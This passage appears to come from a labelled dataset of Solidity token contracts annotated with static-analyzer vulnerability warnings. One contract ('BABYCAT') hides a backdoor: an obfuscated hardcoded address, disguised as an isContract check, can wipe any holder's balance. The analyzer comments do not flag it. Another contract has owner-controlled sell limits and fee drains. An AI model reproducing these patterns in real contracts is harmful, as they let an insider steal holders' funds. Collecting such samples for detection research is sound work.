uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 55d16b8\n\t\t// unused-return | ID: b3553ff\n\t\t// reentrancy-eth | ID: dddc2ee\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 55d16b8\n\t\t// unused-return | ID: 8f87a7f\n\t\t// reentrancy-eth | ID: dddc2ee\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 55d16b8\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: dddc2ee\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10074.sol",
"size_bytes": 21998,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 97409717902926075812796781700465201095167245 *\n 10 ** 4 +\n 281474976712680;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"🐱BABYCAT\", unicode\"🐱BABYCAT\", 9, 1000000000)\n {}\n}\n",
"file_name": "solidity_code_10075.sol",
"size_bytes": 7318,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BUBBA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 97d7050): BUBBA._initialBuyTax should be constant \n\t// Recommendation for 97d7050: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 12e2753): BUBBA._initialSellTax should be constant \n\t// Recommendation for 12e2753: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 73477bd): BUBBA._finalBuyTax should be constant \n\t// Recommendation for 73477bd: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 43068f9): BUBBA._finalSellTax should be constant \n\t// Recommendation for 43068f9: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e784c93): BUBBA._reduceBuyTaxAt should be constant \n\t// Recommendation for e784c93: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 42568f7): BUBBA._reduceSellTaxAt should be constant \n\t// Recommendation for 42568f7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 165eb08): BUBBA._preventSwapBefore should be constant \n\t// Recommendation for 165eb08: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Bubba\";\n\n string private constant _symbol = unicode\"BUBBA\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ee33b69): BUBBA._taxSwapThreshold should be constant \n\t// Recommendation for ee33b69: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxTaxSwap = 8413800000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n uint256 public caSell = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool public caTrigger = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 76ff473): BUBBA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 76ff473: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0280676): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0280676: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 05fd07d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 05fd07d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0280676\n\t\t// reentrancy-benign | ID: 05fd07d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0280676\n\t\t// reentrancy-benign | ID: 05fd07d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ef7164d): BUBBA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ef7164d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 05fd07d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0280676\n emit Approval(owner, spender, amount);\n }\n\n function setMarketPair(address addr) public onlyOwner {\n marketPair[addr] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: eb237c3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for eb237c3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 30f5f06): BUBBA._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 30f5f06: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8d3e5eb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8d3e5eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9fe2876): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9fe2876: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 30f5f06\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < 51,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caTrigger &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caSell, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: eb237c3\n\t\t\t\t// reentrancy-eth | ID: 8d3e5eb\n\t\t\t\t// reentrancy-eth | ID: 9fe2876\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: eb237c3\n\t\t\t\t\t// reentrancy-eth | ID: 8d3e5eb\n\t\t\t\t\t// reentrancy-eth | ID: 9fe2876\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 8d3e5eb\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 8d3e5eb\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: eb237c3\n\t\t\t\t// reentrancy-eth | ID: 9fe2876\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: eb237c3\n\t\t\t\t\t// reentrancy-eth | ID: 9fe2876\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9fe2876\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: eb237c3\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9fe2876\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9fe2876\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: eb237c3\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0280676\n\t\t// reentrancy-events | ID: eb237c3\n\t\t// reentrancy-benign | ID: 05fd07d\n\t\t// reentrancy-eth | ID: 8d3e5eb\n\t\t// reentrancy-eth | ID: 9fe2876\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b7f31e2): BUBBA.setMaxTaxSwap(bool,uint256) should emit an event for _maxTaxSwap = amount \n\t// Recommendation for b7f31e2: Emit an event for critical parameter changes.\n function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {\n swapEnabled = enabled;\n\n\t\t// events-maths | ID: b7f31e2\n _maxTaxSwap = amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1e7cdf6): BUBBA.setcaSell(uint256) should emit an event for caSell = amount \n\t// Recommendation for 1e7cdf6: Emit an event for critical parameter changes.\n function setcaSell(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: 1e7cdf6\n caSell = amount;\n }\n\n function setcaTrigger(bool _status) external onlyOwner {\n caTrigger = _status;\n }\n\n function rescueETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 764f79a): BUBBA.rescueERC20tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 764f79a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20tokens(\n address _tokenAddr,\n uint _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: 764f79a\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6d9ab83): BUBBA.setFeeWallet(address).newTaxWallet lacks a zerocheck on \t _taxWallet = address(newTaxWallet)\n\t// Recommendation for 6d9ab83: Check that the address is not zero.\n function setFeeWallet(address newTaxWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: 6d9ab83\n _taxWallet = payable(newTaxWallet);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 934900f): BUBBA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 934900f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0280676\n\t\t// reentrancy-events | ID: eb237c3\n\t\t// reentrancy-eth | ID: 8d3e5eb\n\t\t// reentrancy-eth | ID: 9fe2876\n\t\t// arbitrary-send-eth | ID: 934900f\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 893108a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 893108a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6cf7f6e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6cf7f6e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 08214c3): BUBBA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 08214c3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cfa7117): BUBBA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for cfa7117: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 867e97e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 867e97e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 893108a\n\t\t// reentrancy-benign | ID: 6cf7f6e\n\t\t// reentrancy-eth | ID: 867e97e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 6cf7f6e\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 6cf7f6e\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 893108a\n\t\t// unused-return | ID: 08214c3\n\t\t// reentrancy-eth | ID: 867e97e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 893108a\n\t\t// unused-return | ID: cfa7117\n\t\t// reentrancy-eth | ID: 867e97e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 893108a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 867e97e\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 893108a\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10076.sol",
"size_bytes": 23640,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external 